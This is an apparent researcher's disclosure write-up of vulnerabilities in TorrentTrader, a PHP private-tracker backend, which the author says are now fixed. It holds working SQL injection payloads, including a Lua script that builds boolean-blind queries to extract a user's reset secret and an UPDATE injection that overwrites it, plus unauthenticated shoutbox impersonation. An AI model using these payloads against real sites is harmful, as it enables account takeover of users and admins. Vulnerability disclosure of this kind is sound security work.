edit

TorrentTrader vulnerabilities

TorrentTrader is a backend for private bittorrent trackers written in PHP. Not a single serious or reputable tracker uses it. Fappaizuri is the only tracker I know of that uses it. These problems were disclosed to them a long time ago and they have since been corrected; this is being written a year after my discoveries (sorry for the lack of screenshots, I’m not going back digging for those).

It may or may not be a fork of the now-defunct TBDev. Nobody uses that either. These vulnerabilities do not apply to NexusPHP, the only modern TBDev fork.

I don’t know if TorrentTrader has an official release anywhere, I couldn’t really find much on it. During my research, I mostly referred to this Github repo.

The password reset mechanism

The two vulnerabilities that follow this section rely on the password reset mechanism to go from SQLi to account takeover. Basically: to change an account’s password, you just need the user’s ID (obviously, sequential, so it’s trivial to find the admins), and a 20 character randomly-generated “secret” (though the length only matters for the first of the two exploits).

The user whose password should be reset is found using those two parameters (account-recover.php), and then a new secret is randomly generated and the password is overwritten as you choose.

When you request a password reset, they send you an email which includes the account recovery link, with your user ID, and the MD5 of your account’s secret. You may construct a valid password request link by creating the same link yourself, if you know the account’s secret.

The first vulnerability exfiltrates the secret, the second overwrites it.

Blind SQLi in invite mechanism

Inviting a user requires checking that no other user with the same email has been invited yet. In invite.php, the email is used a query without being escaped, and it is not particularly well validated:

$email = $_POST["email"];
if (!validemail($email))
    show_error_msg(T_("ERROR"), T_("INVALID_EMAIL_ADDRESS"), 1);

// ...skipping over some stuff we don't care about...

// check if email addy is already in use
if (get_row_count("users", "WHERE email='$email'"))
    $message = sprintf(T_("EMAIL_ADDRESS_INUSE"), $email);

if ($message)
    show_error_msg(T_("ERROR"), $message, 1);

In the SQL we inject, we can extract a bit by either causing a database error or returning a row, and observing whether we get a database error or the EMAIL_ADDRESS_INUSE error message.

Sounds like binary search time to me! There’s probably existing tooling for this, but it wasn’t so hard to write my own script (please do not comment on its quality):

local ord = {
    0,
    48, 49, 50, 51, 52, 53, 54, 55, 56, 57,
    65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90,
    97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122,
    0
}

local chars = {}
for i=1,#ord do
    chars[i] = string.char(ord[i])
end

local answers = { d = 1, r = -1 }

for idx=1,20 do
    local r = 32
    local m = 32

    while r > 1 do
        print("next query:")
        print(([[' OR (IF(ORD(SUBSTRING((SELECT secret FROM users WHERE id=1),%d,1))>%d,(SELECT table_name FROM information_schema.tables),1) )-- @a.com]]):format(idx, ord[m]))

        print("db or registered? (d/r)")
        local answer
        repeat
            answer = io.read("*l"):sub(1, 1)
        until answers[answer]

        r = r / 2
        m = m + answers[answer] * r

        local s,e = m-r, m+r
        print("new range:")
        print(("%d to %d; size %d"):format(s, e, 2*r))

        if s == 0 then s = 1 end
        if e == 64 then e = 63 end
        print(table.concat(chars, "", s, e))
        print()
    end

    for v=m-r,m+r do
        print("next query:")
        print(([[' OR (IF(ORD(SUBSTRING((SELECT secret FROM users WHERE id=1),%d,1))=%d,(SELECT table_name FROM information_schema.tables),1) )-- @a.com]]):format(idx, ord[v]))

        print("db or registered? (d/r)")
        local answer
        repeat
            answer = io.read("*l"):sub(1, 1)
        until answers[answer]

        if answers[answer] == 1 then
            print()
            print("FOUND CHARACTER:")
            print(chars[v])
            print()
            print()
            break
        end
        print()
    end
end

If I were to actually exploit this I’d want to have it actually automated, but, since we only have to do about 20*log_2(64) = 120 requests (and I only had to do this once ever for testing), I didn’t bother. Manual copy-paste it was.

This took around 30 minutes to carry out. It worked.

Unsanitized UPDATE in upload transfer feature

This is the much simpler vuln. It takes 12 seconds to carry out. I hate myself for having found the other one first.

In uptransfer.php, you may notice the following queries:

// earlier in the file:
$credit = $_POST["credit"];
// ...
SQL_Query_exec("UPDATE users SET uploaded = uploaded + $credit, modcomment = " . sqlesc($modcomment1) . " WHERE id = '$receiver'");
SQL_Query_exec("UPDATE users SET uploaded = uploaded - $credit, modcomment = " . sqlesc($modcomment2) . " WHERE id = '$sender'");

You can also use this one to just arbitrarily set your userclass or whatever instead, but since you presumably don’t know the IDs of the site’s userclasses, you might as well just it for account takeover again.

We control the receiver, so we can arbitrarily set their secret. Simply try to send 1,secret='a' bytes of credit to a user and go through the password reset procedure.

Shoutbox

Impersonation

Sending shoutbox messages is unauthenticated (sendshout.php):

# emulate register_globals on
if (!ini_get('register_globals')) {
        extract($_POST, EXTR_SKIP);
}
$name = $n; # name from the form
$text = $c; # comment from the form
$uid = (int)$u;  # userid from the form

Simply change the u parameter in your requests to speak as that user.

SQLi

The input is not particularly well sanitized:

$text = str_replace("\'","'",$text);
$text = str_replace("'","\'",$text);
$text = str_replace("---"," - - ",$text);

There is no further sanitization when the message is INSERTed into the database. You may use a subquery to exfiltrate data as you wish, including any user’s secret (making this, again, usable for arbitrary account takeover), but it is quite a loud exploit considering the data is all going right in the shoutbox everyone can see.

Arbitrary code execution

Being “an admin”, you can then escape the sandbox of the website and execute your own code (perhaps add your SSH key and take over their server?). There’s not really anything of value on a server that hosts a few scarcely-used private torrent sites. I do not remember the exact procedure beyond that the code involved is an absolute mess and I do not want to look into it again, so I will not document the procedure.

Conclusion

Don’t use >decade-old PHP codebases as the foundation of your website?


HomeAboutContact